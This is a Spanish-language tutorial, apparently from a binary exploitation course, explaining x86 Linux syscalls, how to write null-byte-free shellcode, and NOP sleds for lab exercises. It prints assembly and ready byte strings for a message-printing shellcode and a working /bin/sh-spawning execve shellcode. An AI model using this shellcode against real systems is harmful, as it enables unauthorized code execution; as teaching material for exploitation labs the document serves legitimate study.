En esta instancia el objetivo será aprovecharse de una vulnerabilidad de un programa para ejecutar código malicioso que no está en el binario original. En otras palabras, lo que se busca ejecutar es un shellcode.
Un shellcode es un código que se inyecta en la memoria de un programa vulnerable bajo la forma de un string de bytes.
El nombre shellcode se refería históricamente a inyectar un programa shell que permite ejecutar cualquier otro comando, no obstante hoy el término se usa de manera general para hablar de la inyección de código malicioso. Es posible programar un shellcode para que haga cualquier cosa que se nos ocurra dado que en última instancia es en sí mismo un programa.
Un programa en C que utiliza funciones como printf()
o write()
de la biblioteca libc
, usa esta biblioteca para realizar llamadas al sistema operativo que es el encargado de manejar cuestiones como la escritura, lectura y ejecución de programas.
Hay que tener en cuenta que el shellcode no se va a cargar en memoria por el sistema operativo, sino que directamente es copiado a la memoria del programa vulnerable como una cadena de caracteres, aprovechando funciones como strcpy()
y gets()
.
Es por ello que, si nuestro shellcode utiliza una función como write()
(lo más probable es que necesitemos que lo haga) esas llamadas al sistema operativo deben ser manejadas directamente. Es necesario entonces comprender el funcionamiento de las llamadas al sistema antes de continuar con la creación de un shellcode en sí mismo.
A la hora de planear estrategias de ataque se usarán frecuentemente llamadas al sistema.
Los programas que corren en el espacio de usuario cuando requieren interactuar con el sistema operativo deben realizar llamadas al sistema para que el sistema operativo realice las operaciones en su nombre.
La manera en que se hace esta llamada es diferente para cada arquitectura, en el caso de x86 los programas de usuario pueden hacer una llamada al sistema con una interrupción por software con la instrucción int 0x80
.
En Linux cada llamada toma sus argumentos de los registros según el siguiente criterio:
eax => nro de syscall
ebx => 1er argumento
ecx => 2do argumento
edx => 3er argumento
Para saber el número que corresponde a cada syscall se puede consultar: /usr/include/asm/unistd_32.h
.
Según la syscall en cuestión será necesario definir también los valores de otros registros.
Con strace
es posible rastrear las llamadas a sistema que suceden cuando tenemos un programa en C tan simple como:
test-syscalls.c
#include <stdio.h>
int main() {
printf("Hola mundo!\n");
return 0;
}
user@abos:~$ gcc -m32 -no-pie -o test-syscalls test-syscalls.c
user@abos:~$ strace ./test-syscalls
execve("./llamada-sistema", ["./llamada-sistema"], [/* 18 vars */]) = 0
brk(0) = 0x804a000
....
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd8000
=> write(1, "Hola mundo!\n", 12) = 12
exit_group(0) = ?
+++ exited with 0 +++
De este modo es posible rastrear la llamada al systema write
que es la encargada de efectivamente imprimir el string.
Para imprimir por salida estándar (stdout
) es necesaria la syscall write
.
$ man 2 write ; documentación de syscalls
WRITE(2)
SYNOPSIS
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
Con los registros seteados de la siguiente manera:
eax => nro 4 syscall write
ebx => 1er argumento: fd o file descriptor. Es 1 para stdout.
ecx => 2do argumento: *buf o mensaje a imprimir.
edx => 3er argumento: count o longitud del mensaje.
Ejemplo de una syscall write
en assembler:
section .data ; segmento DATA
mensaje db "Hola mundo", 0x0a
section .text ; segmento TEXT
global _start ; punto de entrada del ELF
_start:
; syscall write(1, mensaje, 11)
mov eax, 4 ; 4 = write, nro syscall
mov ebx, 1 ; 1 = stdout, filedescriptor
mov ecx, mensaje ; mensaje en ecx
mov edx, 11 ; longitud del mensaje (Hola mundo\n)
int 0x80 ; interrupcion de llamado al sistema
Para finalizar un proceso se usa el syscall exit:
$ man 2 exit
EXIT(2)
SYNOPSIS
#include <unistd.h>
void _exit(int status);
Los registros deben estar seteados de la siguiente manera:
eax => nro 1 syscall exit
ebx => 1er argumento: status.
Si quisieramos ejecutar exit(0)
, el código assembler necesario sería:
section .text ; segmento TEXT
global _start ; punto de entrada del ELF
_start:
; syscall exit(0)
xor ebx,ebx ; ebx = 0, status code
xor eax,eax
mov al,0x1 ; 1 = exit, nro syscall
int 0x80
Para ejecutar un programa se usa el syscall execve, que corresponde al syscall 11.
$ man 2 execve
EXECVE(2)
SYNOPSIS
#include <unistd.h>
int execve(const char *filename, char *const argv[], char *const envp[]);
Para ejecutar execve
los registros deben estar seteados de la siguiente manera:
eax => nro 11 syscall execve
ebx => 1er argumento: filename, un puntero al nombre del binario a ejecutar.
ecx => 2do argumento: argv[], un puntero a un array de argumentos (comenzando por el nombre del binario y finalizando con un caracter nulo).
edx => 3er argumento: envp[], un puntero a un array de variables de entorno, que también finaliza en un caracter nulo.
Para simplificar el código en assembler, buscamos ejecutar execve("/bin/sh", NULL, NULL)
(con argv[]
y envp[]
en NULL
). Para ello los registros deben estar seteados de la siguiente manera:
eax => nro 11 syscall execve
ebx => 1er argumento: puntero al string /bin/sh.
ecx => 2do argumento: NULL
edx => 3er argumento: NULL
Y el código en assembler sería:
31 c0 xor eax,eax
50 push eax ; \0
68 2f 2f 73 68 push 0x68732f2f ; hs// en ASCII (little endian de //sh)
68 2f 62 69 6e push 0x6e69622f ; nib/ en ASCII (little endian de /bin)
89 e3 mov ebx, esp ; ebx => /bin//sh\0
89 c1 mov ecx, eax ; ecx = 0x0
89 c2 mov edx, eax ; edx = 0x0
b0 0b mov al, 0x0b ; 11 = execve, nro syscall
cd 80 int 0x80
Ejemplo tomado de Shell storm.
Consideraciones: el uso de una doble barra de
/bin//sh
es por el problema de la escritura de caracteres nulos en el shellcode. La barra extra permite alinear el string/bin//sh
en dos double-words (de 4 bytes cada una), quedando el\0
final en la siguiente word o palabra. Este alineamiento permite generar ese\0
final con unxor
, sin tener el problema de la escritura de caracteres nulos. Si en cambio se elimina la doble barra, el\0
formaría parte de la segunda double-word y con unxor
no lograríamos incluirlo en el string y un mecanismo más complejo sería necesario. La cuestión de los caracteres especiales en el shellcode se desarrolla más adelante.
Cuando compilamos un programa en C, gcc
se ocupa de ensamblar el programa y linkearlo para lograr el archivo ELF ejecutable. De manera similar cuando partimos de un programa en assembler y queremos obtener un archivo ELF ejecutable podemos ensamblar el programa con nasm -f ELF
y linkearlo con ld
.
Para indicarle al linker dónde comienzan las instrucciones en assembler se agrega la línea global _start
.
Creamos un programa holaMundo.asm
en assembler con las llamadas write()
y exit()
:
section .data ; segmento DATA
mensaje db "Hola mundo", 0x0a
section .text ; segmento TEXT
global _start ; punto de entrada del ELF
_start:
;syscall write(1, mensaje, 11)
mov eax, 4 ; syscall write: #4
mov ebx, 1 ; stdout filedescriptor: #1
mov ecx, mensaje ; mensaje en ecx
mov edx, 11 ; longitud del mensaje (Hola mundo\n)
int 0x80 ; interrupcion
;syscall exit(0)
mov eax, 1
mov ebx, 0
int 0x80
Consideraciones: es importante tener en mente que el string se almacenó en la sección .data. En el siguiente apartado se retomará este punto y se explicará pórque no es posible conducirse de ese modo y se planteará una estrategia alternativa.
Lo ensamblamos:
user@abos:~$ nasm -f elf holaMundo.asm
nasm
con el argumento -f elf
ensambla el programa en un archivo objeto preparado para ser linkeado como un binario ELF. Como resultado genera el archivo objeto holaMundo.o
.
Linkeamos ese archivo objeto:
user@abos:~$ ld -o holaMundo holaMundo.o
ld
va a crear un binario ELF a partir del archivo objeto.
Ejecutamos y vemos la salida estándar y la finalización del programa:
user@abos:~$ ./holaMundo
Hola mundo
Cuando se trata de un exploit que incluye un shellcode existen 3 instancias importantes: la programación del shellcode, su inyección en memoria como string de bytes y lograr su ejecución.
El shellcode no es un programa ejecutable como cualquier otro, sus instrucciones deben ser autocontenidas para lograr su ejecución por parte del procesador sin importar el estado actual del programa vulnerable. El shellcode no va a ser linkeado ni va a ser cargado en memoria como un proceso por el sistema operativo. Es por ello que los ejemplos de llamadas al sistema deben ser retocados para cumplir ciertos criterios:
holaMundo.asm
. El shellcode no se ejecutará como un programa corriente ni sus segmentos serán cargados en memoria por el sistema operativo. Es por ello que veremos maneras de manipular un string sin recurrir a la sección .data.\x00
entre sus bytes porque se copia en memoria con funciones que manipulan strings como strcpy()
. Usarlos provocaría que el shellcode quede truncado. (Es posible por prueba y error detectar qué caracter finaliza el copiado del shellcode en memoria, según la función vulnerable de la que se trate).Es recomendable comenzar programando unx mismx los shellcodes más sencillos para comprender su funcionamiento y acercarse a la potencia de crear shellcodes ad-hoc. No obstante existen repositorios de shellcodes a disposición en Shell storm o exploit-db. Es importante manipular estos binarios con extrema precaución, por ejemplo trabajando con un entorno virtualizado como buena práctica.
Suponiendo que queremos con nuestro shellcode imprimir un mensaje por salida estándar, similar al siguiente programa en C:
#include <unistd.h>
int main(){
write(1, “you win!”, 8);
}
Seguimos la directivas indicadas anteriormente.
No disponemos del segmento data: el string “you win” debe ser almacenado en la pila directamente para evitar el uso del segmento de datos. Al hacerlo de esa manera necesitamos un puntero al string para pasarle como argumento a write()
y lograr que se imprima ese mensaje, ya que no conocemos de antemano su dirección exacta.
Para contar con la dirección del string podemos aprovechar que la instrucción call
en assembler se encarga de almacenar en la pila la dirección que sigue al call
antes de hacer el salto a la función llamada y de esta manera poder retornar una vez finalizada su ejecución. Agregamos un call
ad-hoc seguido del string que sólo sirva para almacenar su dirección en un lugar conocido de la pila.
shellcode.asm
section .text
global _start
_start:
+---< jmp short dummy ; 1. salto a un dummy con el call
|
| -> imprimir_str: ; 3. syscall write()
| | pop ecx ; desapilo la dirección del string en ecx
| | ....
| |
| |
+->| dummy:
+--< call imprimir_str ; 2. llamo al código encargado de imprimir el mensaje
db 'you win!A' ; antes de saltar apila dirección de "you win!A"
; para retornar luego del call
Una vez almacenada la dirección del string, con la instrucción pop
lo almacenamos en un registro para su uso posterior.
Evitar caracteres especiales: se usan ciertos trucos para que al compilar el código binario no tenga caracteres nulos.
exit
). Si en vez de copiar un cero usamos un OR exclusivo (un XOR de un valor con sí mismo siempre da cero) logramos el objetivo sin valores nulos en el código máquina.
instrucción | código máquina
mov eax, 0 \xb8\x00\x00\x00\x00 ; eax = 0. Pero con valores nulos en código máquina.
xor eax, eax \x31\xc0 ; eax = 0. Sin valores nulos.
eax
) y el otro de sus operandos ocupa menos bits (por ejemplo un entero como el número 2) se completa con ceros, es decir 2 pasa a ser 0000 0002
y almacenado bajo el formato little endian \x02\x00\x00\x00
como se puede ver en el código máquina de abajo. Para evitar los caracteres nulos finales es posible usar únicamente las partes del registro necesarias para la operación (por ejemplo, con al
se manipulan sólo los 8 bits menos significativos del registro).
instrucción | código máquina
mov eax, 2 \xb8\x02\x00\x00\x00 ; eax = 00 00 00 02
mov ax, 2 \x66\xb0\x02\x00 ; eax = ?? ?? 00 02
mov al, 2 \xb0\x02 ; eax = ?? ?? ?? 02. Sin caracteres nulos en cód. maquina
Al hacer esto, el resto de los bits de eax
tienen datos desconocidos, lo que puede provocar un funcionamiento inesperado. Por eso es importante antes de estas operaciones poner en 0 el registro.
instrucción | código máquina
xor eax, eax \x31\xc0 ; eax = 00 00 00 00
mov al, 2 \xb0\x02 ; eax = 00 00 00 02
Finalmente, logramos un código máquina resultante \x31\xc0\xb0\x02
que no tiene caracteres nulos.
\0
, nueva línea \x0a
o retorno de carro \x0d
)? A
) y después reemplazamos su valor por \0
.
section .text
global _start
_start:
+---< jmp short dummy ; 1. salto a un dummy con el call
|
| -> imprimir_str: ; 3. syscall write()
| | pop ecx ; ecx => 'you win!A'
| | xor eax, eax
| | mov [ecx+8], al ; ecx => 'you win!\0'
| | ....
| |
-->| dummy:
+--< call imprimir_str ; 2. llamo al código encargado de imprimir el mensaje
db 'you win!A' ; antes de saltar apila dirección de "you win!A"
; para retornar luego del call
Como resultado final tenemos en ecx
la dirección del string you win!\0
.
Consideraciones
- db: es la directiva define byte que permite reservar espacio en memoria para un string, como en
db 'you win!A'
.
instrucción | código máquina
xor ebx, ebx \x31\xdb ; ebx = 00 00 00 00
mov bl, 1 \xb3\x01 ; ebx = 00 00 00 01
instrucción | código máquina
xor ebx, ebx \x31\xdb ; ebx = 00 00 00 00
inc ebx \x43 ; ebx = 00 00 00 01
¡Usando inc
en vez de mov
ahorramos 8 bits! Parece poco pero es clave cuando almacenamos un shellcode en espacios de memoria reducidos.
shellcode.asm
section .text
global _start
_start:
+---< jmp short dummy ; 1.
|
| -> imprimir_str: ; 3.
| | xor eax,eax ; eax = 0
| | pop ecx ; ecx => "you win!A"
| | mov [ecx+8],al ; ecx => "you win!\0"
| | mov al,4 ; syscall write: #4
| | xor ebx,ebx ; ebx = 0
| | inc ebx ; stdout filedescriptor: #1
| | xor edx,edx ; edx = 0
| | mov dl,9 ; longitud "you win!\0": 9
| | int 0x80 ; write(1, string, 9)
| |
| | mov al,1 ; syscall exit: #1
| | dec ebx ; ebx = 0
| | int 0x80 ; exit(0)
| |
-->| dummy: ; 2.
+--< call imprimir_str ; apilo addr "you win!A"
db 'you win!A'
Shellcode como string
Existen varias maneras de obtener el código de máquina como cadena de caracteres a partir del código assembler. Con herramientas como Online x86 de Defuse o con pwntools para trabajar en python.
Otra manera simple de obtenerlo es usando hexdump
desde la consola.
user@abos:~$ nasm -f elf shellcode.asm ; ensamblamos
user@abos:~$ ld -N shellcode.o -o shellcode ; linkeamos
user@abos:~$ objcopy -j .text -O binary shellcode.o shellcode.bin ; extraemos section .text
user@abos:~$ hexdump -v -e '"\\" 1/1 "x%02x"' shellcode.bin; echo ; extraemos byte code de binario
\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41
Y el código de máquina obtenido debe coincidir con el código de máquina mostrado en la segunda columna al desensamblar con objdump
:
user@abos:~$ objdump -d -M intel shellcode
shellcode: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: eb 16 jmp 8048078 <dummy>
08048062 <imprimir_str>:
8048062: 31 c0 xor eax,eax
8048064: 59 pop ecx
8048065: 88 41 08 mov BYTE PTR [ecx+0x8],al
8048068: b0 04 mov al,0x4
804806a: 31 db xor ebx,ebx
804806c: 43 inc ebx
804806d: 31 d2 xor edx,edx
804806f: b2 09 mov dl,0x9
8048071: cd 80 int 0x80
8048073: b0 01 mov al,0x1
8048075: 4b dec ebx
8048076: cd 80 int 0x80
08048078 <dummy>:
8048078: e8 e5 ff ff ff call 8048062 <imprimir_str>
804807d: 79 6f jns 80480ee <_end+0x66> ; \x79\x6f = "yo"
804807f: 75 20 jne 80480a1 <_end+0x19> ; \x75\x20 = "u "
8048081: 77 69 ja 80480ec <_end+0x64> ; \x77\x69 = "wi"
8048083: 6e outs dx,BYTE PTR ds:[esi] ; \x6e = "n"
8048084: 21 .byte 0x21 ; \x21 = "!"
8048085: 41 inc ecx ; \x41 = "A"
Es posible ver como el string es interpretado como instrucciones; es necesario obviarlas y convertir a ASCII el código máquina para verificar el texto “you win!A”
En todos los casos el shellcode como string que vamos a usar en los exploits para imprimir el mensaje “you win!” va a ser:
shellcode = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
El siguiente código de ejemplo fue tomado del libro Hacking the art of exploitation. Suponiendo que queremos obtener una shell con nuestro shellcode, de manera similar al siguiente programa en C:
#include <unistd.h>
int main(){
char filename[] = "/bin/sh\x00";
char **argv, **envp;
argv[0] = filename; // único argumento: nombre del programa
argv[1] = 0; // \0 fin del array de argumentos
envp[0] = 0; // \0 fin del array de entorno
execve(filename, argv, envp);
}
shellcode.asm
section .text
global _start
_start:
+---< jmp short dummy ; 1.
|
| -> shellcode: ; 3.
| | xor eax,eax ; eax = 0
| | pop ebx ; ebx => "/bin/shABBBBCCCC"
| | mov [ebx+7], al ; execve("/bin/sh\0", BBBB, CCCC).
| | mov [ebx+8], ebx ; execve("/bin/sh\0", &"/bin/sh", CCCC). [ebx+8]: argv
| | mov [ebx+12],eax ; execve("/bin/sh\0", &"/bin/sh", 0000). [ebx+12]: envp
| |
| | lea ecx, [ebx+8] ; ecx = argv
| | lea edx, [ebx+12] ; edx = envp
| | mov al,11 ; syscall execve: #11
| | int 0x80 ; execve("/bin/sh\0", &"/bin/sh", 0000)
| |
| | mov al,1 ; syscall exit: #1
| | xor ebx, ebx ; ebx = 0
| | int 0x80 ; exit(0)
| |
-->| dummy: ; 2.
+--< call shellcode ; apilo addr "/bin/shABBBBCCCC"
db '/bin/shABBBBCCCC' ; execve(/bin/shA, BBBB, CCCC);
user@abos:~$ nasm -f elf shellcode.asm ; ensamblamos
user@abos:~$ ld -N shellcode.o -o shellcode ; linkeamos
user@abos:~$ objcopy -j .text -O binary shellcode.o shellcode.bin ; extraemos section .text
user@abos:~$ hexdump -v -e '"\\" 1/1 "x%02x"' shellcode.bin; echo ; extraemos byte code de binario
\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43
El shellcode como string que vamos a usar en los exploits para obtener una shell va a ser:
shellcode = "\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c"
shellcode += "\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"
shellcode += "\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
Acá se presentan dos ejemplos de shellcodes, sin dudas existen muchas variantes que logran el mismo objetivo.
Una dificultad a la hora de ejecutar el shellcode radica en saber exactamente en qué dirección de memoria se encuentra.
Para evitar errarle por pocos bytes se usa como recurso la instrucción No-Op o NOP (No Operation instruction). Cada NOP ocupa un byte (0x90 en Assembler) y es una instrucción que no hace nada, sólo avanza el contador del programa a la siguiente instrucción a ejecutar.
Si se agregan varias instrucciones NOP (formando un NOP sled
o tobogán de Nops que -sin hacer nada- lleven hacia la ejecución del shellcode) y se modifica el flujo de ejecución para que salte allí, sabemos que eventualmente el shellcode se va a ejecutar.
Esto permite tener margen de error al definir la dirección de retorno y aumenta las chances de ejecutar el shellcode.
Con los contenidos vistos hasta el momento es posible avanzar con Stack 4, Stack 5 y Abo 1.
Y está disponible una práctica guiada para la resolución de Stack 4 y 5 a través del ataque “Smash the stack”.
[1]. Anley, C., Heasman, J., Linder, F., Richarte, G. (2007). The Shellcoder’s Handbook: Discovering and Exploiting Security Holes.
[2]. Erickson, Jon. (2008). Hacking: the art of exploitation.
[3]. D’Antoine, Sophia. (2015). Shellcoding: Modern Binary Exploitation CSCI 4968. Disponible en: http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/7/05_lecture.pdf